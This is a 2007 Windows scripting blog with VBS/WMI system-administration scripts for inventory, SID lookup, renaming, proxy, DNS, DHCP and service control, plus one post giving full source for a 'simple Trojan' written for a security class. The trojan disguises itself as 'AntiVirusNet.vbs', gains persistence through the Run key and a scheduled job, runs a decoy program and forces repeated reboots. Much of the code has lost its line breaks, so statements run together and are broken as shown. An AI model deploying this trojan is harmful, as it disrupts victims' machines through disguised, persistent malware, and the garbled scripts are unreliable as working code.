Windows Scripting BLOG

Due to limited time working on this project this place is not intended to people who are new to scripting but much more for people who are already familiar with the VBS/WMI syntax.

Samstag, 22. Dezember 2007

$ NEWS $ Upcoming Video lessons on windows scripting

Hi Folks,
this is just a quick heads up on what might be going on over here pretty soon:

I've received quiet a large number of requests from former students and people in general I taught how to script, to start up some further "Scripting classes".

Due to this not being possible for numerous reasons, I came up with the (IMHO) best next-to-classroom learning experience: Video Lessons.

I'll be creating some video lessons demonstrating on different sample scripts how to make a SysAdmins life easier by using VBS and WMI.

Those videos will be completely free of charge, depending on how popular this project might become, the number of video lessons put out will vary.

Stay tuned and checkout this place for news on this.

More to come...

Jay

Example of a simple Trojan I've created for an Information Assurance class

' IMPORTANT! do NOT use this script on your computer or it could easily damage your system
'Also, this script has been written to demonstrate the concept of trojan horses/viruses - it should ' NOT be used in malicious fashion but only for educational purposes on isolated systems

'File 1 Romcs.vbs

HKEY_LOCAL_MACHINE = &H80000002strComputer = "."
Set WSHShell = CreateObject("Scripting.FilesystemObject")
WSHShell.CopyFile"AntiVirusNet.vbs", "C:\AntiVirusNet.vbs"
Set ObjRegistry = GetObject("winmgmts:{impersonationLevel = impersonate}!\\" & _ strComputer & "\root\default:StdRegProv")
Return = objRegistry.setStringValue(HKEY_LOCAL_MACHINE,"Software\Microsoft\Windows\CurrentVersion\Run","WRSPXPBXUpd","C:\AntiVirusNet.vbs" )
If Return <> 0 Then
msgbox("Keine Admin Rights!") Else
Set objWMIService1 = GetObject("winmgmts:" _& "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colComputers3 = objWMIService1.ExecQuery _("Select * from Win32_LocalTime")For Each objComputer2 in colComputers3
Hou = objComputer2.HourMin = objComputer2.Minute
if Hou < 10 thenHou = 0 & objComputer2.Hour
end ifnext
if Min < 10 thenMin = 0 & objComputer2.Minuteend if

Set objWMIService = GetObject("winmgmts:" _ & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colComputers2 = objWMIService.Get("Win32_ScheduledJob")T = "C:\AntiVirusNet.vbs"D = "********" & Hou & "" & Min & "00.000000+000" '+1 hour automatically
erret = colComputers2.Create(T,D,JobID1000)Set WSHShell1 = CreateObject("WScript.Shell")
WSHShell1.Run "bowling.exe"'WSHShell.DeleteFile ("*.vsbs")
End IF

' File 2 AntiVirusNet.vbs

On error resume next
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _ & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colComputers2 = objWMIService.ExecQuery _ ("Select * from Win32_OperatingSystem")For Each objComputer2 in colComputers2objComputer2.Security_.privileges.AddAsString "SeShutdownPrivilege", trueerrRet = objComputer2.Reboot()
next

Dienstag, 22. Mai 2007

Refreshing SMS 2003-Site Client membership

on error resume next

Sub SMSChk
on error resume next

set comp = CreateObject ("Microsoft.SMS.Client")
if err.number <> 0 then
wscript.echo "SMS Advanced Client not present. Cannot continue."
exit Sub
end if

site = comp.GetAssignedSite


if err.number <> 0 then

err.clear
site = comp.AutoDiscoverSite

if err.number <> 0 then
Wscript.Echo "Could not Discover Site. Please use smscheck.vbs to assign a site manually"
exit Sub
else

comp.setAssignedSite(site)
SiteGet = comp.GetAssignedSite
if err.number <> 0 then
Wscript.Echo "Error setting Site. Please try again."
Exit Sub
else
Wscript.Echo "Client is now assigned to site " & SiteGet
End if
end if
else
WScript.echo "Client currently assigned to site " & site & " !Please use smscheck.vbs to assign a site manually (if needed)"
end if
err.clear
end sub

if Wscript.Arguments.count > 0 then
inp = Wscript.Arguments(0)
set comp = CreateObject ("Microsoft.SMS.Client")
if err.number <> 0 then
wscript.echo "SMS Advanced Client not present. Cannot continue."
WScript.quit
end if
err.clear
comp.setAssignedSite(inp)
SiteGet = comp.GetAssignedSite
if err.number <> 0 then
Wscript.Echo "Error setting Site. Please try again."
err.clear
else
Wscript.Echo "Client is now assigned to site " & SiteGet
end if
else
call SMSChk()
end if


' Julian Ruf 07.04.2006 julian.ruf@ecb.int

Donnerstag, 17. Mai 2007

WISE: Automated installation script enumerating partitions and setting permissions

On error resume next
strComputer = "."
Set fso = CreateObject("Scripting.FileSystemObject")
Set WshShell = CreateObject("WScript.Shell")
Set wmiServices = GetObject _ ("winmgmts:{impersonationLevel=Impersonate}!//" & strComputer)
Set wmiDiskPartitions = wmiServices.ExecQuery _ ("SELECT * From Win32_DiskDrive WHERE Index = '0'")
for each test in wmidiskpartitions
str1 = test.Partitions

if str1=1 thenstrEscapedDeviceID1 = "Disk #0, Partition #0"
Set wmiDiskPartitions1 = wmiServices.ExecQuery _("ASSOCIATORS OF {Win32_DiskPartition.DeviceID=""" & _ strEscapedDeviceID1 & """} WHERE AssocClass = " & _ "Win32_LogicalDiskToPartition")
for each test1 in wmidiskpartitions1DriveSpec = Test1.Name
next
WSHShell.Run("mtplayerinstall-standalone.exe /S")fso.CopyFolder "MasteryNet","" & DriveSpec & "\MasteryNet"
WshShell.Run("Cacls " & Drivespec & "\MasteryNet /G ""Authenticated Users"":F /T /E")
end if
if str1>1
then
int2 = 1int3 = str1 - int2strEscapedDeviceID2 = "Disk #0, Partition #" & int3
Set wmiDiskPartitions2 = wmiServices.ExecQuery _("ASSOCIATORS OF {Win32_DiskPartition.DeviceID=""" & _ strEscapedDeviceID2 & """} WHERE AssocClass = " & _ "Win32_LogicalDiskToPartition")
for each test2 in wmidiskpartitions2
driveSpec = Test2.Name
WSHShell.Run("mtplayerinstall-standalone.exe /S")
fso.CopyFolder "MasteryNet","" & DriveSpec & "\MasteryNet"WshShell.Run("Cacls " & drivespec & "\MasteryNet /G ""Authenticated Users"":F /T /E")

next
end if


next
'created by Julian Ruf

Computer Info enumeration script

On Error Resume Next
Set FSO = CreateObject("Scripting.FileSystemObject")
Set TextFile = FSO.OpenTextFile(Wscript.Arguments(1), 2, True) TextFile.Write"OPERATING SYSTEM,USER,COMPUTERNAME,MODEL,IP"
TextFile.WriteLine
IN_FILE = Wscript.Arguments(0)
Const PRO_READ = 1
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.OpenTextFile(IN_FILE, PRO_READ)
strComputers = objFile.ReadAllobjFile.Close
arrComputers = Split(strComputers, vbCrLf)
For Each strComputer In arr
Computerserr.clear

Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colItems = objWMIService.ExecQuery("Select * from Win32_OperatingSystem",,48)if err.number <> 0 thenTextFile.Write "not reachable: " & strComputer
else
For Each objItem in colItems
TextFile.Write "" & objItem.Caption & " " & objitem.CSDVersion
Next
end if
Set colItems = objWMIService.ExecQuery("Select * from Win32_ComputerSystem",,48)
if err.number <> 0 then
TextFile.Write ",not reachable: " & strComputer & ",not reachable: " & strComputer & ",not reachable: " & strcomputer
else
For Each objItem in colItems
TextFile.Write "," & objItem.UserName
TextFile.Write "," & objItem.NameTextFile.Write "," & objitem.Model
Next
end if
Set colItems1 = objWMIService.ExecQuery("Select * from Win32_NetworkAdapterConfiguration",,48)
if err.number <> 0 thenTextFile.Write ",not reachable: " & strComputer & vbnewline
else
For Each wbemObject in colItems1
For T=LBOUND(wbemObject.IPAddress) _ to UBOUND(wbemObject.IPAddress)
TextFile.Write "," & wbemObject.IPAddress(T) & vbnewline
next
next
end if
next
WSCript.Echo "Enumeration completed" 'created by Julian Ruf

Getting users SID Domain wide

On Error Resume NextstrComputer = "."
Set objWMILocator = CreateObject("WbemScripting.SWbemLocator")
Set objWMICimService = objWMILocator.ConnectServer(strComputer, "root\cimv2")
Set colOS = objWMICimService.ExecQuery("Select * from WIN32_UserAccount where Name=""DesiredUsername""")
for each obj in colOS

WScript.Echo "Name: " & obj.Name & " /SID: " & obj.SID & ""
Next
'created by Julian Ruf

Getting currently logged on users SID (Security Identifier)

On Error Resume NextstrComputer="."

Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colItems = objWMIService.ExecQuery("Select * from Win32_ComputerSystem",,48)
For Each objItem in colItems
nm = objItem.UserNameResult = InStrRev(nm, "\")
tre = len(nm)
tre1 = tre - ResultRes = right(nm,tre1)
Set colOS = objWMIService.ExecQuery("Select * from WIN32_UserAccount where Name="""& Res & """")
for each obj in colOS
WScript.Echo "Name: " & obj.Name & " /SID: " & obj.SID & ""
Next
next
'gets currently logged on users SID by Julian Ruf

Graphical script for Renaming Hostname + Reboot

On Error Resume Next

strComputer = "."
Set objWMIService = GetObject("winmgmts:" _ & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colComputers = objWMIService.ExecQuery _ ("Select * from Win32_ComputerSystem")
call Load
Sub Load
For Each objComputer in colComputersstrNewName = inputbox("Current ComputerName is: " & objcomputer.name & "" & vbNewLine & "Enter New ComputerName","Rename Computer","FUNA0xxx5SCxxxx")
next
if strNewName = "" thenWScript.quit(0)
end if
Dim Lenght
lenght = len(strNewName)
if lenght = 15 then
For Each objComputer in colComputers
errReturn = ObjComputer.Rename(strNewName)
next
if errReturn <> 0 or errReturn = ""
thenWscript.Echo "Renaming Computer failed with following error: " & err.Number &amp; "" & vbnewline & ""WScript.quit(0)
else
WScript.Echo "Computer has been renamed successfully. Please remove Disk and hit OK to reboot"
call Rbt
end if
else
WScript.Echo "ComputerName must be 15 characters long.Please try again!"call load
end if
end sub


Sub RbtSet
colComputers2 = objWMIService.ExecQuery _ ("Select * from Win32_OperatingSystem")For Each objComputer2 in colComputers2
objComputer2.Security_.privileges.AddAsString "SeShutdownPrivilege", true
errRet = objComputer2.Reboot()
next
end Sub
'created by Julian Ruf

Set proxy Settings in IE for currently logged on user

On Error Resume
NextstrComputer = "."HKEY_USERS = &H80000003
strKeyPath = "\Software\Microsoft\Windows\CurrentVersion\Internet Settings\"strEntryName = "AutoConfigURL"dwValue = "http://proxy/pac/proxy.pac" 'change to reflect Proxy
Set objWMILocator = CreateObject("WbemScripting.SWbemLocator")
Set objWMICimService = objWMILocator.ConnectServer(strComputer, "root\cimv2")
Set colItems = objWMICimService.ExecQuery("Select * from Win32_ComputerSystem",,48)
For Each objItem in colItems
nm = objItem.UserNameResult = InStrRev(nm, "\")
tre = len(nm)tre1 = tre - ResultRes = right(nm,tre1)
Set colOS = objWMICimService.ExecQuery("Select * from WIN32_UserAccount where Name="""& Res & """")
for each obj in colOS
sidentry = obj.SID
Nextnext
Set objReg = GetObject _ ("winmgmts:{impersonationLevel=impersonate}!\\" & _ strComputer & "\root\default:StdRegProv")
comppath = "" & sidentry & "" & strKeyPath & ""
retVal = objReg.SetStringValue(HKEY_USERS, comppath, strEntryName, dwValue)
if retval <> 0 thenWScript.Echo "Setting Proxy failed"ElseWScript.Echo "Setting Proxy done for User: " & Res & " and Proxy: " & dwValue
End If
' Proxy Change for non-transparent Proxies by Julian Ruf

Enable Remote Registry Service

On Error Resume NextIN_FILE = Wscript.Arguments(0)
Const PRO_READ = 1Set objFSO = CreateObject("Scripting.FileSystemObject")Set objFile = objFSO.OpenTextFile(IN_FILE, PRO_READ)
strComputers = objFile.ReadAll
objFile.ClosearrComputers = Split(strComputers, vbCrLf)
For Each strComputer In arrComputers Set wbemServices = GetObject("winmgmts:" _ & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set wbemObjectSet = wbemServices.InstancesOf("Win32_Service")
For each wbemObject in wbemObjectSetif wbemObject.DisplayName = "Remote Registry" and wbemObject.State = "Stopped" then errRec = wbemObject.ChangeStartMode("Automatic")
errRec = wbemObject.StartService()
WScript.Echo "Changed RemoteRegistry Service on Computer: "& strComputer else
end if
if wbemObject.DisplayName = "Remote Registry" and wbemObject.State = "Running" then WScript.Echo "RemoteRegistry Service already running on Computer: "& strComputerelse
end if
Next
Next 'created by Julian Ruf

Set DNS Suffix + other related DNS settings

On Error Resume Next
Const FULL_DNS_REGISTRATION =True
Const DOMAIN_DNS_REGISTRATION = False
strKeyPath1 = "SYSTEM\CurrentControlSet\Services\Tcpip\Parameters"
strEntryName1 = "SyncDomainWithMembership"
strEntryName2 = "UseDomainNameDevolution"
strEntryName3 = "NV Domain"
Const HKEY_LOCAL_MACHINE = &H80000002
strKeyPath="SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\"
strEntryName = "RegistrationEnabled"
dwValue = 1
dwValue2 = "YOURSUFFIX"
IN_FILE = Wscript.Arguments(0)
Const PRO_READ = 1
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.OpenTextFile(IN_FILE, PRO_READ)
strComputers = objFile.ReadAll
objFile.ClosearrComputers = Split(strComputers, vbCrLf)
For Each strComputer In arrComputers Set objWMILocator = CreateObject("WbemScripting.SWbemLocator")
Set objWMICimService = objWMILocator.ConnectServer(strComputer, "root\cimv2")
Set colOS = objWMICimService.ExecQuery("Select * from Win32_OperatingSystem")
For Each objOS in colOS
if ( InStr(1, objOS.Caption, "XP", vbTextCompare) > 0 ) Then isWinXP = true else isWinXP = false End if
NextSet objReg = GetObject _ ("winmgmts:{impersonationLevel=impersonate}!\\" & _ strComputer & "\root\default:StdRegProv")
Set colNetCards = objWMICimService.ExecQuery ("Select * From Win32_NetworkAdapterConfiguration Where IPEnabled = True")
For Each objNetCard in colNetCards
if (isWinXP) Then retVal = objReg.SetDWORDValue (HKEY_LOCAL_MACHINE, strKeyPath & objNetCard.SettingID, strEntryName, dwValue)
retVal = objReg.SetDWORDValue(HKEY_LOCAL_MACHINE, strKeyPath1, strEntryName1, dwValue)
retVal = objReg.SetDWORDValue(HKEY_LOCAL_MACHINE, strKeyPath1, strEntryName2, dwValue )
retVal = objReg.SetStringValue(HKEY_LOCAL_MACHINE, strKeyPath1, strEntryName3, dwValue2 )
Else retVal = objNetCard.SetDynamicDNSRegistration (FULL_DNS_REGISTRATION, DOMAIN_DNS_REGISTRATION)
retVal = objReg.SetDWORDValue(HKEY_LOCAL_MACHINE, strKeyPath1, strEntryName1, dwValue)
retVal = objReg.SetDWORDValue(HKEY_LOCAL_MACHINE, strKeyPath1, strEntryName2, dwValue)
retVal = objReg.SetStringValue(HKEY_LOCAL_MACHINE, strKeyPath1, strEntryName3, dwValue2)
End if
if retVal <> 0 then Wscript.Echo "Error Setting DNS Config at Computer: "& strComputerElse Wscript.Echo "Successfully Changed the required settings on Computer: "& strComputer
end if
Next
Next
'created by Julian Ruf

Stop/Disable Windows Service

On Error Resume NextIN_FILE = Wscript.Arguments(0)
Const PRO_READ = 1Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.OpenTextFile(IN_FILE, PRO_READ)
strComputers = objFile.ReadAllobjFile.ClosearrComputers = Split(strComputers, vbCrLf)
For Each strComputer In arrComputersSet wbemServices = GetObject("winmgmts:" _ & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set wbemObjectSet = wbemServices.InstancesOf("Win32_Service")
For each wbemObject in wbemObjectSetif wbemObject.DisplayName = "Computer Browser" then
errRec = wbemObject.StopService()
errRec = wbemObject.ChangeStartMode("Disabled")
WScript.Echo "Changed Computer Browser Service to Stopped/Disabled on Computer: "& strComputerelse
end if
Next
Next
'created by Julian Ruf

Setting Network config to DHCP

On Error Resume NextIN_FILE = Wscript.Arguments(0)
Const PRO_READ = 1Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.OpenTextFile(IN_FILE, PRO_READ)
strComputers = objFile.ReadAllobjFile.ClosearrComputers = Split(strComputers, vbCrLf)
For Each strComputer In arrComputers
Set objWMIService = GetObject("winmgmts:" _ & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colComputers = objWMIService.ExecQuery _ ("Select * from Win32_NetworkAdapterConfiguration")
For Each objComputer in colComputersif ObjComputer.EnableDHCP = false then errRec = ObjComputer.EnableDHCP()
Set objWMIService = GetObject("winmgmts:" _ & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
errRec = ObjComputer.SetDNSServerSearchOrder() errRec = ObjComputer.SetWINSServer("", "")
WScript.Echo "Changed to DHCP Config at: " & strComputer else
end if
if ObjComputer.EnableDHCP = true then WScript.Echo "DHCP already configured at Computer: " & strComputer
else
end if
Next
Next
'created by Julian Ruf

Script for detecting systems with statically configured IP addresses

On Error Resume NextIN_FILE = Wscript.Arguments(0)
Const PRO_READ = 1Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.OpenTextFile(IN_FILE, PRO_READ)
strComputers = objFile.ReadAllobjFile.ClosearrComputers = Split(strComputers, vbCrLf)
For Each strComputer In arrComputers
Set wbemServices = GetObject("winmgmts:" _ & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set wbemObjectSet = wbemServices.InstancesOf("Win32_NetworkAdapterConfiguration")
For each wbemObject in wbemObjectSetif wbemObject.DHCPEnabled = false then For T=LBOUND(wbemObject.IPAddress) _
to UBOUND(wbemObject.IPAddress)WScript.Echo "Static IP configured on system: "& strComputer & vbCrLf & _"IP address: "& wbemObject.IPAddress(T)
next
else
end if
Next
Next 'created by Julian Ruf